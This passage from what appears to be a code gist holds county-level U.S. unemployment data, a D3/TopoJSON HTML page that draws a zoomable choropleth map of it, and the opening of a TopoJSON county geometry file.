08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/a9012e6300d13ec5249b8f5827430505">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: pink; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
    right: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
  }
  #console p {
    margin-top: 2px;
    margin-bottom: 2px
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)
/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
     
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)

    states.forEach(function (f,i) {
      
      	if(i&lt;10){ 
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })

    var statePaths = svg.selectAll(&apos;.state&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })

    function usZoom() {
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&